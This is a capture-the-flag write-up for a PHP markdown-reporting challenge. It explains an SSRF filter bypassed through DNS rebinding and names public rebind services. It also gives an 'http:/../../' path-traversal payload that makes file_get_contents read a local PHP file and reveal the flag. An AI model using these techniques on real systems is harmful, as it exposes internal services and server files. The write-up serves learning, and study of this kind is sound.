Summary
498pts - 4 Solves
Reporter is an online markdown reporting tool. it's free to use for everyone. there's a secret report we need located here
source code is provided, dns rebind, LFD
Vulnerability
the challenge is mainly a web app that converts markdown to html and you can save your reports.
it has 2 parts, as description says we need to access a secret report located at /secret_report
that returns 403 when opening it, so we need some internal access
the first snippet from backend.php
looks interesting
if(@$_POST['deliver']){
$thisDoc=file_get_contents($dir.'/file.html');
$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
foreach ($matches[1] as $key => $value) {
$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;
}
basically it downloads the images in the report and embed them into the html using fetch_remote_file function
function fetch_remote_file($url) {
$config['disallowed_remote_hosts'] = array('localhost');
$config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
$url_components = @parse_url($url);
if (!isset($url_components['scheme'])) {
return false;
}
if (@($url_components['port'])) {
return false;
}
if (!$url_components) {
return false;
}
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
return false;
}
if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
return false;
}
if ((!empty($config['disallowed_remote_hosts']) && in_array($url_components['host'], $config['disallowed_remote_hosts']))) {
return false;
}
$addresses = get_ip_by_hostname($url_components['host']);
$destination_address = $addresses[0];
if (!empty($config['disallowed_remote_addresses'])) {
foreach ($config['disallowed_remote_addresses'] as $disallowed_address) {
$ip_range = fetch_ip_range($disallowed_address);
$packed_address = my_inet_pton($destination_address);
if (is_array($ip_range)) {
if (strcmp($ip_range[0], $packed_address) <= 0 && strcmp($ip_range[1], $packed_address) >= 0) {
return false;
}
} elseif ($destination_address == $disallowed_address) {
return false;
}
}
}
$opts = array('http' => array('follow_location' => 0,));
$context = stream_context_create($opts);
return file_get_contents($url, false, $context);
}
the function checks if the url given has a valid http/https protocol and checks if the address is not blacklisted or the host doesnt point to a of blacklisted ip addresses then send it to file_get_contents
$config['disallowed_remote_hosts'] = array('localhost');
$config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
so this is vulnerable to dns rebind attack since there's ip resolved in blacklist check, then file_get_contents will resolve again
so you can setup a host for dns rebind, there's plenty of public services like requestrepo.com or rbndr.us
so now we can browse the 403 directory
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /secret_report</title>
</head>
<body>
<h1>Index of /secret_report</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="3ac45ca05705d39ed27d7baa8b70ecd560b69902.php">3ac45ca05705d39ed27d7baa8b70ecd560b69902</a></td><td align="right">2020-07-23 12:53 </td><td align="right"> 50 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="63b4bacc828939706ea2a84822a4505efa73ee3e.php">63b4bacc828939706ea2a84822a4505efa73ee3e.php</a></td><td align="right">2020-07-13 13:24 </td><td align="right"> 14 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>
there's directory listing enabled, we can see there's 2 files and their size, if we fetch them both with dns rebind attack from previous step, we still have no flag, but we notice that file 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
has 50 bytes but only 9 bytes are printed, so this means there's more to this file in it's php code
we know that file_get_contents can read files given an absolute or relative path, but the function has a strict check that the URL must have a valid http/s protocol
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
return false;
}
funny enough, when passing an url like http:/AAAAAAAAAAAAAA/AAAAA
it has a correct protocol prepended but file_get_contents will go to http only if its http(s)://
, so only http:/AAA
will consider it as a directory called http:
which doesnt exist, so we got some path traversal here !~
if we fetch the file http:/../../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
we will pass all the checks as valid URL and file_get_contents will get us the flag
<?php
//3k{ssrf_bug_f068b29b58ccd0}
?>
secret2